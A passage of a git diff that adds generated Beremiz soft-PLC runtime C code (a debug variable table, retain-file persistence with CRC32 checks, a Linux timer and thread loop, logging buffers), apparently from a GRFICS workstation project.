UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE99_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE99_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE4_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE4_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE5_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE5_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE7_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE7_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o new file mode 100644 index 0000000..dd4a2c2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + 